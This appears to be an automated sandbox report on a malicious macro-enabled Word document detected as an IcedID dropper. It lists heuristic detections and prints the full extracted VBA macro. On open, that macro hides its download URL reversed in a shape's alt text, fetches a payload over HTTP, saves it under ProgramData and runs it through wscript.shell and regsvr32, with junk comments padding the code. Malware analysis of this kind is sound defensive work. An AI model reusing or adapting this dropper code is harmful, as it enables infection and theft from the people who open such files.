MALICIOUS
230
Risk Score
Heuristics 6
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set IaRMc = CreateObject("Script" + ehtgp) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11851 bytes |
SHA-256: 397bb66e12a250dfc2e609bd83ef8ffea1140e461adf670c7861697db70a47c8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "CrvDA"
Sub psgTy(vCKqR, Optional ByVal zEuae As String = "c:\programdata\ACRBq.txt", Optional ByVal ehtgp As String = "ing.FileSystemObject")
' Sacerdotal verminous misdeeds
' Swinging rushing crucifixion milliners rounder
' Debated impossibility
' Mightier flesh tribunal sarcasms counterfeit
' Haberdashery eeriest
' Decommissioning wretches quadrophonic
' Starched jaws slurs aerosols senses
' Rolling denote cog extrapolating
' Hypothesising chlorophyll stung interdisciplinary
' Reveres debility cooked unwatchable enjoin lane
' Quantise motives centimes lollipop
' Splashed snowballing rescues bead fluffed
' Value inkpad scarecrow hasbeens crunching unwisely
' Ulcerated unimportant reasonable
' Wretched
Set IaRMc = CreateObject("Script" + ehtgp)
' Cabling disenfranchisement
' Mouthing wrongest spellbound underpriced
' Nature
' Huskies levelling economise temperatures
' Racer stairwells
' Sullen sailings
' Brunches landslide evolutions artefactual
Set kKRRd = IaRMc.CreateTextFile(zEuae)
' Landless polycrystalline ruanda
' Bollards application bereave outstation
' Unvaryingly overreact varied raccoons
' Uses puffins dispensations field grid
' Concerted waving whetting
kKRRd.WriteLine vCKqR
' Wheelbase icings wasting
' Evocation plain
' Ghostlike eventuality
' Vegetating evidently listeria criminology astonishes
' Asymptotically pawnbrokers pertained
kKRRd.Close
' Adjustment havenots repulsively arbitrators fouls foot
' Surliest defy slatted hocuspocus
' Exulting mailed
' Frets foulest value prematurely
' Misconfiguration riper dependability
' Skills unscratched
' Penetration detest consulate
' Boxers octavo fetched
' Woos telephonist couching microscope reactants
' Jeweller
' Slackens convictions supernatant
' Unvoiced brotherinlaw survived
' Oath porridge calvary crinkle soiree
' Midwinter leaflet steepens dictionaries
' Kilowatts asthmatics pandemic
' Jealously hissed
' Arrived adamant bottomless
' Reproduce energisers cabby intoxicating
' Turin offcuts beneficent
' Procedure odours browner
' Shamrock midflight infancy
' Enthusiasts openly jesus asked uplifted
' Liqueur paradoxically alas disqualifications modulating
' Sepia dazedly duomo phobias lazuli macaw
' Plunder tent
' Saints
' Reheat wiriest creeping
' Vendors disarray interchanges revivalism
' Hymn subjugation
' Rotunda physique millionaires droopy hijackers
' Stranding craziest neurobiology reheated
' Darters armenia
' Virology
' Through zaps interdicted possessiveness
' Consistency inspire
' Jazz bloodstained
' Inlaid nematodes adjudicator compressors neglecting
' Dexterity
' Aerobic intentions
' Buddy goading
' Heat france motorcycles
' Seeding
End Sub
' Terminating learner
' Pushy orientals unlovely snoozed breeze
' Sought troubleshooter coveralls roundness precipitately
' Adit doer
' Windward gloated
' Flabbergasted
' Cushioned trident incursions followers
' Lavatory physio bemoaning
Sub AutoOpen()
' Strange thriftless
' Pompey diffract value
' Conquests fez
' Refocused defecting lanolin
' Illegality loading hedgehogs insecticides
' Session
' Pelt spittle craftily
' Depositions defamation slums undetected moving veto
' Sen accompanist tapered
' Profiting confederacy dementedly
' Melons ruralist
' Hazard abduction
' Introductions doglike mantles extracellular emotions
' Strafed baker dyer sequin
' Staircases gruffly
' Lutes impoverishing scrabbling
' Candelas conversazione cobblers shark hyperboloid
' Petered splinters inexperience
' Cawing dowdy reinforcements
' Lounge assessment
' Flyweight drawbridge conferences indirections germicidal divers pending hostler
' Perishes betters drenched distrusted overhaul
' Take
' Fences gargling fossil
' Moisture advertised
' Picture
' Tempter
' Charters
Dim OXWaG As New bjurH
' Legislation
' Mosques dahomey uselessly cyclist
' Celibate ploughmen alimony
' Blessings soothing refurbish interlocutor spaniels
' Heroics chesterfield
' Iodide guarantor
' Boas millimetre giddy underlinings
' Boobies ecosystem theoretically instruct
vCKqR = OXWaG.xltaF("MSXML2.serverXMLHTTP")
' Generically adjuster surviving hornets sapped senselessness crateful
' Haggard validly
' Merchandising hombre loops stalks
' Throwing corruptly vigilantes
psgTy mBDZE(vCKqR)
' Amateurish quietest totter
' Princess triffids lifelines
' Ruction boards billows
' Resistible twill
' Lies curator firebombed embraced mouth infiltrate
' Draining dollop curs lisbon
' Protractors
' Inattention inbuilt race
' Generated dungeon mineshaft tinker
' Youthfulness rainstorms
' Ensued ennobled
DLtaI MKMPN(0) + "vr32 c:\programdata\ACRBq.txt", "ws"
End Sub
Function qKNvL(yvveA, lgCIY)
' Subhuman argues topped
' Attained weathervane finalists sowers nationalities blunts
' Cocking wineglass peer
' Comedians mending facilitator pep
' Prefers amend housed
qKNvL = Split(yvveA, lgCIY)
End Function
Attribute VB_Name = "LrYdU"
' Cerebellum cattle statistician googly
' Fluoridation ignominy trounce interfaced
' Hypocrisy succumbed certainties invalidate demotes editorships
' Mightiest idolaters gyroscope canopies fermented bureaucracy slavery maximising
' Flippers disqualifications disarming
Function mBDZE(mgpwk)
' Psychologically
' Contretemps proletarianisation cutely braille infighting
' Acidify
' Earldom trowels assassinating junction zombies
' Criminology ripple evacuating entranced
' Overstocked flabbergasted mallards unconsumed
mBDZE = StrConv(mgpwk, vbUnicode)
' Seldom
' Inflexibility cartoon rustiest brothersinlaw cheapest innkeeper
' Finetuning shiftily swabbed strips
' Flyways race refocused
End Function
' Whet stretchability pouter
' Twiddly cow
' Ruined whitely abate
' Pyrotechnic rehabilitate whisper wafting radiates
' Formated
' Progressing brusqueness
' Actress
Function OShST()
' Homophobes closes deliberation otter
' Fraught impenetrably newborn
' Redistributions shrubs junks
' Explores
' Insulate stonecold
' Wickerwork lodged disuse
' Devastate determinations tranquillity
' Squeak
' Obligation sues configure tragical surrendered
With ActiveDocument.shapes(1)
OShST = .AlternativeText
End With
End Function
' Commandingly circumventions funniest
' Withhold figment enormously superheated chewiest drivels
' Percussing exterminator peakiness
' Lessors couriers hungering somnolent
' Solicitations qualifiers
' Concoctions caftan rhinestone
' Threesome fishhooks
' Giggles conservatively
Function MKMPN(hYqwf)
' Word
' Spearhead satisfying indorses ribbing
' Coworker exhibited micrograms
' Preserver desired
' Carol
' Cede dominantly showoff
' Bossier snowfields bowie arrowhead carded precis
' Approachable griffin predefined
' Faithless overcoat titration
' Jennets transferral pecuniary cribbage
XJwHl = OShST()
jMDXz = qKNvL(XJwHl, "###")
tracQ = jMDXz(hYqwf)
MKMPN = tracQ
End Function
Attribute VB_Name = "bjurH"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Reverse(Text)
Dim i As Integer
Dim StrNew As String
Dim strOld As String
strOld = Trim(Text)
For i = 1 To Len(strOld)
StrNew = Mid(strOld, i, 1) & StrNew
Next i
Reverse = StrNew
End Function
' Apology lounge monadic fluoresces utah
' Exponential conservators astrologer
' Germany
' Fans subset
Function xltaF(pyVfv)
' Cognisance glove therewith effecting wanderer
' Combatant slayer
' Unstoppably unlikeable basked
' Flip
Dim wAvzC As Object
' Debugs pornographic
' Dolphin none spectacular trappable whom
' Gen gleaning expound isotropy deanery
' Hater preying prophylactics
' Unleashes
' Ghosts badger
' Weepings furze unadaptive bookie sedimentary
' Bind indictable
' Recurs russian astonishing
' Inhumanly raking measurements goggled
' Shrugs sophists soundless burdensome squirearchy
' Resorted cavers axles orbits sizzles
' Laugh suffusion wolfishly czar brooch interval
Set wAvzC = CreateObject(pyVfv)
' Objectionable careless workbooks plumbed monotheists
' Unmodifiable gauntlet
' Fortnights lute
' Looping startlingly
' Beeper aging
' Ticks
' Promenades winkles
' Retailed chicks suspects smiths costlier musters
' Hangouts dreamt libido theistic
' Chillies burundi karaoke
' Drank lecturers polishers
' Resettable harshly
' Gatehouses bluebirds
' Flotations telecommunication prolonging abbreviated toeing
' Teethed deepseated isobars
' Proven temporality parrot
' Staplers reflexivity
' Triplex wears
' Melanin obtruding abbreviation egocentric bonds sloping
' Demilitarised hydroxides unhappier
' Score misgiving durance
' Malignancy humanly superfix leathers
' Ptolemy idiolect flipper agreed
' Unborn fief
pgDwX = MKMPN(1)
' Jaguars lingeringly
' Cautioning
' Degauss shrunken revellers stylish
' Despondency
' Ulcer
wAvzC.Open "GET", Reverse(pgDwX), False
' Nooks unready
' Freud firelighters sadomasochism uninformative
' Strictly passionateness pinups
' Hubris assignations fullbodied
wAvzC.Send
' Lumpish
' Separable bench construct
' Misunderstandings impinging beguiling enclosing remorsefully immunology
' Pretreatments unwarily binary pooches candidacy
xltaF = wAvzC.responsebody
End Function
Attribute VB_Name = "Uonzp"
Sub DLtaI(WbErQ, tzOHU)
' Woodcocks decompressing hotels entangles bandwagon reinitialise
' Emotionally cabled glutted
' Outweighs defuse grouped militiamen
' Upholstered recollected
' Problematical towered
Set eWHyo = CreateObject(tzOHU + "cript.shell")
' Dramatists flies chalk inflects
' Pontificate gauls relational
' Mop whorls
' Homogenise observation incomer localities
' Shouting scot flirting ideal contrition
' Topic
' Emulsion indifferent gasping patisserie
' Creole confoundedly
' Insuring requiems loads motherboard
' Preternaturally wordsmith smallholder overshadows
' Aesop unquiet
' Dispersers
' Show repeats laureate thesaurus synaptic
' Autism overwriting damages
' Zulu
' Consumptive tabulations vastly vainer
' Processing legend subroutines venoms vitiates
' Transaction foyer
' Inculcated wavings lacings veterinary arab
' Uninformatively accountants
' Coexisting gaucheness apace
' Inductively wild proposed instituting
' Wool yardage assented falling sprinkling
' Toothsome futurologists grammarian protea
' Pansies obligate tangle newsagents jemmy jumpiness
' Soles albinism
' Clue
' Equally darkened starfish
' Retched statuesque
' Carnivores toucher
' Contractible boozes tricked
' Rosemary
' Extensively multinational replicator gangster spigot
' Unlike dear bullies washington
' Berries trappable
' Exorcisms baghdad bleeped
' Personae sinkers
' Nationalising violates
' Groaners clavichord whee
' Suitors unsafeness disavowal
' Expired
' Interpolations blimp nadir
' Saucepan prescriptively irreversible tentacles infirm
' Licking waddled straddling clarifying weathermen
' Instantaneously exorcisms
' Betel incriminated auditions mean
' Lust slapped
' Gating rayon planets maldives partly
eWHyo.exec WbErQ
' Fond cardiovascular
' Appointed
' Pelted
' Meaningfulness grasps threshed
' Lapwing conceptualised disinfectants
' Unenlightened hasbeens verminous
' Likelihood depositing legitimise bugler
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 44032 bytes |
SHA-256: 8d2d3dd4d5909ca5e0339f60c5500c88399ac9f22b3e902a2e641dfc8e7af546 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.